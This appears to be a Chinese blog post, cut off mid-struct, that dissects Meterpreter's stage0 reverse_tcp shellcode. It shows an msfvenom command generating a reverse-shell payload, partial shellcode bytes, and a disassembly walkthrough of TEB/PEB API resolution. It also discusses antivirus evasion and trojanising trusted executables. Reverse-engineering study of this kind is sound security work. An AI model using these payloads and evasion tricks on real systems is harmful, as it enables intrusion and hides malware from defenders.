Meterpreter 工作原理
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LP
ORT=31012 -f c > test2.c
unsigned char buf[] =
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89\xe5"
"\x8b\x52\x0c\x8b\x52\x14\x0f\xb7\x4a\x26\x8b\x72\x28\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
...
...
这样一段由msf生成的meterpreter paylaod仅300字节的shellcode,到底是如何完成meterpreter强大的功能的?
为了求得解答,我们参阅rapid7 官方的博文
首先回答一个问题,什么是staged payload (即阶段形有效载荷)
根据博文中的解释,staged payload 一般使一种尽可能紧凑并且用于为后续攻击创造更好的执行环境(如更大的内存空间,应为二进制攻击往往能够存储shellcode的空间不多)
初始的shellcode往往被称为stage0,他一般会创建一个链接,并且从连接处获取更多载荷到内存空间中,一旦所有资源准备妥当,他将把控制流交给新的有效载荷,更具不同的形式还分reverse_tcp,reverse_http等等
由于阶段化,模块化的特点,使他容易拓展,不过他也有缺点,比如网络环境不好的情况,这时候需要考虑生成stageless版本的payload
艰难坎坷的payload落地
总的来说,只要第一阶段的payload能够在目标机上被执行,我们就能完成后续阶段的渗透工作方法一般是将payload嵌入到原本信任二进制执行文件中,欺骗诱使目标点击我们的木马,即可完成上线,听起来不错,可是metasploit毕竟是一个已经出现了很长一段时间的开源工具,其payload特征早已经被各大安全厂商研究透彻,并且已经写出了各种规则来查杀,笔者为了做一些测试,windows defender也是一个不放过
那么对于这样优秀的工具,如果根本用不了,那岂不是太可惜了。尽然有查杀技术,自然也有免杀技术,针对静态查杀,最好的方式自然就是,屏蔽原有的特征,改写payload,使用加密,或是插入大量花指令针对规则进行混淆,针对动态查杀,则可以行为自检,如果被监控,则不执行,针对流量msf自身还提供了带对称加密传输的版本
stage 0 payload 工作原理
竟然stage 0是唯一需要落地的过程,是查杀,反查杀斗争的开始,那我们得先搞清楚stage 0执行原理究竟是什么样的,如果能使stage 0的payload安然落地,那么可以说后续的攻击也能大概率能顺利进行
首先将payload,丢进反汇编器开始分析
debug029:00030000 cld
debug029:00030001 call loc_30095
刚开始运行,就跳转了一个短片段开始执行
debug029:00030095 loc_30095: ; CODE XREF: debug029:00030001↑p
debug029:00030095 pop ebp
debug029:00030096 push 3233h
debug029:0003009B push 5F327377h
debug029:000300A0 push esp
debug029:000300A1 push 726774Ch
debug029:000300A6 mov eax, ebp
debug029:000300A8 call eax
注意刚刚跳转来实际上用的是call 也就是 push eip jmp loc_30095 这样的命令,刚来就使用了,pop ebp 这条指令eip被保存到ebp中去了,紧接着
push 3233
push 5f327377
push esp
push 726774c
mov eax,ebp
call eax
这段push,跟到栈中,实际上发现,就是将ws2_32字符串压到了栈里,并且 把字符串地址和726774c(这是loadlibraryA函数名的哈希值)作为参数,再次call回了ebp中保存的eip
这次的call同样使得当前的eip被保存了下来(这里要强调一下,这是payload控制执行流的巧妙之处),jmp回了起初的执行流
接着让我们看看下面的执行流
debug029:00030006 pusha
debug029:00030007 xor edx, edx
debug029:00030009 mov edx, fs:[edx+30h]
debug029:0003000D mov edx, [edx+0Ch]
debug029:00030010 mov edx, [edx+14h]
debug029:00030013 mov ebp, esp
首先保存各寄存器状态值,其次再清空edx寄存器
接下来的操作,需要有关windows内部数据结构的基础知识,视角放在NT 32位系统下,我们来简单了解需要用到的数据结构,FS段寄存器保存了当前当前线程相关的信息结构叫做TIB也可以称之为TEB应为他就是TEB的第一字段
https://en.wikipedia.org/wiki/Win32_Thread_Information_Block
struct _TEB32
{
struct _NT_TIB32 NtTib; //0x0
ULONG EnvironmentPointer; //0x1c
struct _CLIENT_ID32 ClientId; //0x20
ULONG ActiveRpcHandle; //0x28
ULONG ThreadLocalStoragePointer; //0x2c
ULONG ProcessEnvironmentBlock; //0x30
ULONG LastErrorValue; //0x34
ULONG CountOfOwnedCriticalSections; //0x38
ULONG CsrClientThread; //0x3c
ULONG Win32ThreadInfo;
....
....
在他的0x30偏移处保存了PEB(Process Enviroment Block)的线性地址,所以mov edx, fs:[edx+30h]这个操作实际上就是取出了PEB
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
VOID* Mutant; //0x4
VOID* ImageBaseAddress; //0x8
struct _PEB_LDR_DATA* Ldr; //0xc
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x1
...
...
来到 mov edx,fs:[edx+0x0c],由于edx现在保存的peb的信息,peb偏移0xc处,保存的是struct _PEB_LDR_DATA* Ldr一个指针,取出其中保存的地址,现在edx存储的实际就是 struct _PEB_LDR_DATA结构
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized;